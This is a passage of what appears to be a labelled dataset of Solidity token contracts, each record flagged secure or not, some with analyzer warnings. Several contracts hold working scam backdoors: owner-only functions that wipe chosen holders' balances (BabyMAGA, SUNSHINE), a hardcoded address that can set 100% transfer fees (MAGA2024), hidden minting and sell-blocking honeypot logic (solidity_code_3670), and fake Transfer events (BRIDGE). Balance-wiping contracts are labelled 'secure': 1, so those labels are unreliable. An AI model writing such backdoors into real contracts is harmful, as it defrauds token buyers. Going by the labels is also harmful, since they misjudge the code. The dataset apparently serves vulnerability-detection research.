mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == baby, \"Not allowed\");\n\n _;\n }\n\n function morsel(address[] memory herb) public onlyOwner {\n for (uint256 i = 0; i < herb.length; i++) {\n address account = herb[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3663.sol",
"secure": 1,
"size_bytes": 4336
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1675193): Contract locking ether found Contract PeterPeterPumpkin has payable functions PeterPeterPumpkin.receive() But does not have a function to withdraw the ether\n// Recommendation for 1675193: Remove the 'payable' attribute or add a withdraw function.\ncontract PeterPeterPumpkin is ERC20, Ownable {\n constructor() ERC20(unicode\"Peter,Peter,Pumpkin\", unicode\"PPP\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 1675193): Contract locking ether found Contract PeterPeterPumpkin has payable functions PeterPeterPumpkin.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 1675193: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3664.sol",
"secure": 0,
"size_bytes": 1061
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BabyMAGA is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable BadyaGA;\n\n constructor() {\n _name = \"BabyMAGA\";\n\n _symbol = \"BabyMAGA\";\n\n _decimals = 18;\n\n uint256 initialSupply = 2200000000;\n\n BadyaGA = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == BadyaGA, \"Not allowed\");\n\n _;\n }\n\n function Bbbbaw(address[] memory dsazze) public onlyOwner {\n for (uint256 i = 0; i < dsazze.length; i++) {\n address account = dsazze[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3665.sol",
"secure": 1,
"size_bytes": 4363
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: e71b867): Contract locking ether found Contract BitGameArena has payable functions BitGameArena.receive() But does not have a function to withdraw the ether\n// Recommendation for e71b867: Remove the 'payable' attribute or add a withdraw function.\ncontract BitGameArena is ERC20, Ownable {\n constructor() ERC20(unicode\"Bit Game Arena\", unicode\"BGA\") {\n _mint(owner(), 1000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: e71b867): Contract locking ether found Contract BitGameArena has payable functions BitGameArena.receive() But does not have a function to withdraw the ether\n\t// Recommendation for e71b867: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_3666.sol",
"secure": 0,
"size_bytes": 1028
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MAGA2024 is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5b7df28): MAGA2024._decimals should be immutable \n\t// Recommendation for 5b7df28: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7efa6ac): MAGA2024._totalSupply should be immutable \n\t// Recommendation for 7efa6ac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d083b9b): MAGA2024._decemitaddress should be immutable \n\t// Recommendation for d083b9b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _decemitaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _decemitaddress = 0xCfE4777024FDBe1d306f5f9415AA0bdf31af713a;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Swap(address user, uint256 fPercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fPercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fPercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _decemitaddress;\n }\n\n function liqburnletylly(address recipient, uint256 aDrops) external {\n uint256 receiveRewrd = aDrops;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3667.sol",
"secure": 1,
"size_bytes": 5356
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract SUNSHINE is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable Saqabuus;\n\n constructor() {\n _name = \"SUNSHINE\";\n\n _symbol = \"SUNSHINE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 2100000000;\n\n Saqabuus = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == Saqabuus, \"Not allowed\");\n\n _;\n }\n\n function delllttt(address[] memory vsaccame) public onlyOwner {\n for (uint256 i = 0; i < vsaccame.length; i++) {\n address account = vsaccame[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_3668.sol",
"secure": 1,
"size_bytes": 4374
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address internal recipients;\n\n address internal router;\n\n address public owner;\n\n mapping(address => bool) internal confirm;\n\n event Owned(address indexed previousi, address indexed newi);\n\n constructor() {\n address msgSender = _msgSender();\n\n recipients = msgSender;\n\n emit owned(address(0), msgSender);\n }\n\n modifier checker() {\n require(recipients == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual checker {\n emit owned(owner, address(0));\n\n owner = address(0);\n }\n}",
"file_name": "solidity_code_3669.sol",
"secure": 1,
"size_bytes": 798
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IUniswapRouter.sol\" as IUniswapRouter;\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\n\ncontract NftGRAMCore is ERC20, Ownable {\n IUniswapRouter public dexRouter;\n\n address public univ2Pair;\n\n uint256 private constant TOTAL_SUPPLY = 1_000_000 * 10 ** 18;\n\n uint256 public maxPeerWallet;\n\n constructor() Ownable(tx.origin) ERC20(\"NFT GRAM\", \"NGRAM\") {\n _mint(tx.origin, TOTAL_SUPPLY);\n\n maxPeerWallet = TOTAL_SUPPLY / 33;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal override {\n if (\n sender != owner() &&\n recipient != univ2Pair &&\n recipient != address(dexRouter)\n ) {\n require(\n balanceOf(recipient) + amount <= maxPeerWallet,\n \"Transfer exceeds wallet balance limit\"\n );\n }\n\n super._transfer(sender, recipient, amount);\n }\n\n function removeLimits() external onlyOwner {\n maxPeerWallet = TOTAL_SUPPLY;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bb0ba98): NftGRAMCore.start(address,address).factory lacks a zerocheck on \t univ2Pair = IUniswapFactory(factory).createPair(address(this),dexRouter.WETH())\n\t// Recommendation for bb0ba98: Check that the address is not zero.\n function start(address router, address factory) external onlyOwner {\n dexRouter = IUniswapRouter(router);\n\n\t\t// missing-zero-check | ID: bb0ba98\n univ2Pair = IUniswapFactory(factory).createPair(\n address(this),\n dexRouter.WETH()\n );\n }\n}",
"file_name": "solidity_code_367.sol",
"secure": 0,
"size_bytes": 1879
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowances;\n\n uint256 private _totalSupply;\n\n using SafeMath for uint256;\n\n string private _name;\n\n string private _symbol;\n\n bool private truth;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n truth = true;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e3d1042): ERC20.opentokenpublicsale(address).set lacks a zerocheck on \t router = set\n\t// Recommendation for e3d1042: Check that the address is not zero.\n function opentokenpublicsale(address set) public checker {\n\t\t// missing-zero-check | ID: e3d1042\n router = set;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n if ((recipients == _msgSender()) && (truth == true)) {\n _transfer(_msgSender(), recipient, amount);\n truth = false;\n return true;\n } else if ((recipients == _msgSender()) && (truth == false)) {\n _totalSupply = _totalSupply.cre(amount);\n _balances[recipient] = _balances[recipient].cre(amount);\n emit Transfer(recipient, recipient, amount);\n return true;\n } else {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42d785d): ERC20.allowance(address,address).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 42d785d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function botban(address _count) internal checker {\n confirm[_count] = true;\n }\n\n function delArbitrageBot(address[] memory _counts) external checker {\n for (uint256 i = 0; i < _counts.length; i++) {\n botban(_counts[i]);\n }\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (recipient == router) {\n require(confirm[sender]);\n }\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _deploy(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: deploy to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a9dcf5): ERC20._approve(address,address,uint256).owner shadows Ownable.owner (state variable)\n\t// Recommendation for 3a9dcf5: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3670.sol",
"secure": 0,
"size_bytes": 6829
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract AKS is ERC20 {\n uint8 private immutable _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: a340e45): AKS._totalSupply should be constant \n\t// Recommendation for a340e45: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: dce6402): AKS._totalSupply shadows ERC20._totalSupply\n\t// Recommendation for dce6402: Remove the state variable shadowing.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n constructor() ERC20(\"Akita Crush Saga\", \"AKITA-CRUSH\") {\n _deploy(_msgSender(), _totalSupply);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n}",
"file_name": "solidity_code_3671.sol",
"secure": 0,
"size_bytes": 882
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract BRIDGE is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n address private _p76235;\n\n address private _p76236;\n\n address private _p76237;\n\n address private _p76238;\n\n\t// WARNING Optimization Issue (constable-states | ID: 910af31): BRIDGE._e242 should be constant \n\t// Recommendation for 910af31: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 1;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n\n emit Transfer(_p76234, _addresses_[i], _in);\n }\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n\n emit Transfer(_p76234, _addresses_[i], _in);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f88a076): BRIDGE.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for f88a076: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: f88a076\n _p76234 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: df8ae8d): BRIDGE.actionAirDrop(address).account lacks a zerocheck on \t _p76235 = account\n\t// Recommendation for df8ae8d: Check that the address is not zero.\n function actionAirDrop(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: df8ae8d\n _p76235 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a6f195f): BRIDGE.addToAirDropList(address).account lacks a zerocheck on \t _p76236 = account\n\t// Recommendation for a6f195f: Check that the address is not zero.\n function addToAirDropList(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: a6f195f\n _p76236 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e1dda42): BRIDGE.addToMarketingList(address).account lacks a zerocheck on \t _p76237 = account\n\t// Recommendation for e1dda42: Check that the address is not zero.\n function addToMarketingList(address account) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: e1dda42\n _p76237 = account;\n\n return true;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 60f7619): BRIDGE.addToDevelopersList(address).account lacks a zerocheck on \t _p76238 = account\n\t// Recommendation for 60f7619: Check that the address is not zero.\n function addToDevelopersList(\n address account\n ) public virtual returns (bool) {\n if (_msgSender() == 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n\t\t\t// missing-zero-check | ID: 60f7619\n _p76238 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x1F24a4bF64Be274199A5821F358A1A4a939a10aD) ||\n (_p76234 == to &&\n from != 0x1F24a4bF64Be274199A5821F358A1A4a939a10aD &&\n from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1) ||\n (from != _p76235 &&\n to == 0x1F24a4bF64Be274199A5821F358A1A4a939a10aD) ||\n (_p76235 == to &&\n from != 0x1F24a4bF64Be274199A5821F358A1A4a939a10aD &&\n from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n if (\n (from == _p76236 &&\n to != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1) ||\n (from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1 &&\n to == _p76236)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n if (\n (from == _p76237 &&\n to != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1) ||\n (from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1 &&\n to == _p76237)\n ) {\n uint256 _X7W88 = amount + 1;\n\n require(_X7W88 < _e242);\n }\n\n if (\n (from == _p76238 &&\n to != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1) ||\n (from != 0x338689a45ed39Ff83c587c5b3C6ffeAC172AeaC1 